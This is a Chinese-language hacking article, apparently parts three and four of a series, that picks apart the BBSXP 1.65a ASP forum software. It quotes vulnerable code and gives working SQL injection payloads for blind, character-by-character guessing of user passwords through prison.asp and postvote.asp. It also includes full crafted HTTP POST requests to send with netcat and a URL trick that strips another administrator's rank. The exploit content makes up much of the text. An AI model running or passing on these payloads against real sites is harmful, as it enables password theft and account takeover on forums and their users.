📄 read it.txt
字号:
BBSXP漏洞[倒着看三]作者:飞翔的背心
其实躺在床上看代码也是一件非常惬意的事情,特别是看那些写得很烂的东西时候,你总莫名其妙地产生一种居高临下的感觉。在过了一个痛苦不堪的暑假后,尤其是在生病后急需要调整心情的那段时间里,看BBSXP几乎成了我唯一的享受。
依然是BBSXP1.65a,依然是业余级别的代码和洞。
recycle.asp行16、17。这是一个要管理员或者社区区长才能利用漏洞,代码如下:
for each ho in request.form("id")
conn.execute("update [forum] set
deltopic=0,lasttime=now,content=content&<|><br><br>[此帖子已
被 "&Request.Cookies("username")&" 在 "&now&" 还原过]<|> where id="&ho&"
and deltopic=1")
next
对于MSSQL版(如果地球上存在的话)的来说,这个的利用难度是零。但是对于ACCESS版的要利用这个猜密码玩的话,难度是很大的,因为不好判断条件正确与否,姑且
就把这个洞的利用放掉吧。
prison.asp行28同样是一个要管理员或者社区区长才能利用漏洞,代码是这样的:
sql="select * from user where username=<|>"&Request("username")&"<|>"
我把这个洞称作愚蠢的,第一是因为幼稚的写法,第二是因为在这个尔虞我诈的社会,你永远不知道同样身为管理员的他是否会在背后捅你一刀,轻率地写那些只有管理员才有权访问的代码,同样会增加整个论坛的脆弱性。
一句老话,对于MSSQL版(如果地球上确实存在的话)的来说,这个的利用难度是零,而对于准备猜密码的人来说,难度就像是让中国跳水队在一米板上做301B。
进入prison.asp,用户名上面填写的就是我们要注入的东西,理由随便。比如我们来猜猜never的密码,当然,我自己是知道的密码的,这里只是假装不知道。
要填写的东西基本上就不用考虑,猜never的密码第一位最好的格式是这样:
select * from user where username=<|>never<|> and right(left(userpass,1),1)
=<|>x<|>
比较一下prison.asp第28行,简直就是量身定做,提交的用户名就这样就好了
never<|> and right(left(userpass,1),1)=<|>x
never的密码第一位是1,我提交的不正确的话,比如提交的就是never<|> and right(left(userpass,1),1)=<|>2,那么BBSXP会傻乎乎的告诉我这个用户资料不存在,呵呵很显然,这个的查询结果是空,当然没有资料存在了。如果我猜的不是2而是1,回来的资料就不太一样,这里never是社区社长,不能被关进监狱,因为这个查询结果正好就是never,所以BBSXP告诉我们不能抓入监狱。当然,猜不同的人的密码情况可能不太一样,反正如果返回结果是用户资料不存在,你就是猜错了,否则你就猜对了。
同样的洞在同样的文件中有很多个拷贝,我就不一一列举了,下面再说一个搞笑的漏洞。
同样的文件,行71到89是这样的
if Request("menu")="release" then
sql="select * from user where username=<|>"&Request.Cookies("username")&"<|>"
rs.Open sql,Conn
if rs("membercode") < 4 then
error("<li>您的权限不够,无法释放犯人!")
end if
if Request.Cookies("userpass")<>rs("userpass") then
error("<li>您的密码错误")
end if
rs.close
conn.execute("update [user] set membercode=1 where username=<|>"&Request
("username")&"<|>")
conn.execute("delete from [prison] where username=<|>"&Request("username")
&"<|>")
response.redirect "prison.asp"
end if
我为什么要说怕别人在背后摆你一道呢,就是这里了。我要是管理员,我可以让任何人进监狱!这里没有检查要释放的人是不是在监狱里面,我要是弄了一个不是在监狱里面的人提交过去,马上就把他打为平民了,因为有这句话:
conn.execute("update [user] set membercode=1 where username=<|>"&Request
("username")&"<|>")
比如我是never,test是管理员,但是我很看不惯它这个小子。我登陆后在浏览器中输入
http://localhost/bbsxp/prison.asp?menu=release&username=test
咔嚓,test变成平头老百姓了,然后我按照正常的手段就可以把他弄进监狱里面去。
哦,可怜的test,他还不知道世道如此险恶。
总而言之,这个论坛是极其搞笑的,任何的自夸之语只能授人以笑柄。什么叫“一般你只要自己设置一下,不用升级我们的程序,你就可以永远排除这种漏洞”,我都不好意思读出来,就是这样的论坛,这样的代码,就是猴子听了都会脸红。后面一个漏洞充分的体现了编写者的思维混乱,我都不能说他们是外行,因为我身边的非计算机系DDMM们才大一大二,他们都有严谨的思维方式,而且写出来的代码简洁有力,我怕这样说会伤了DDMM们的心,他们才是真正的外行啊!BBSXP的人呢?你们算是什么呢?
BBSXP漏洞[倒着看四]
这段时间上网遇到朋友,问起关于BBSXP漏洞的问题,我淡淡地说,生病了,没有看。他说,哦,最近到BBSXP看先生的漏洞文章都给删了,看来BBSXP对先生还是很深恶痛绝的,先生还是写点什么吧。我说,哦,那我就写点什么吧。
我在生病之余还看了一本叫《重构》的影印本书,虽然是讲的java的重构,但是确实对所有的语言都有启发的作用,对于BBSXP的代码形式,我不想多说,如果开发者有机会拜读一下这本书的话,想必可以学到些什么。代码写得不好看不是什么丢人的事情,但改善了后必定会让别人刮目相看。每次都会给BBSXP提些免费的建议,这次就废话这么多吧,身体不好,打字很费体力。
postvote.asp有一段代码是这样子的,非常扎眼
sql="select * from forum where id="&Request("id")&""
rs.Open sql,Conn,1,3
有兴趣的朋友可以参看以前的文章来利用。或者看下面给出方法和分析:
利用这个漏洞首先要有一个投票的项目,这个投票的项目可以是自己发的一个贴子,我们要记录下这个贴字的id号,把鼠标移到标题上看浏览器的状态栏,或者直接点进去看浏览器的地址栏都可以得到id,比如我在自己机器上测试的是id为2。
用BBSXP漏洞[倒着看一]中的方法我们可以很容易的抓到标准的提交数据,我抓到的数据是这样的:
POST /bbsxp/postvote.asp?id=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
利用的话,只需要修改一点点东西,就是POST后面的路径和文件。因为注入是发生在id上的,所以我们提交恶意的id就可以构造我们的查询条件了,比如我们猜test的密码第一位,是1,当然,我们先猜一个2看看,这时候我们提交的id的值应该是
2 and 1=(select count(*) from user where username=<|>test<|> and right(left(userpass,1),1)=<|>1
将所有的空格全部用%20代替(为什么?不要问我),就成了下面的样子(NC到对方的web口):
POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username=<|>test<|>%20and%20right(left(userpass,1),1)=<|>2<|>) HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -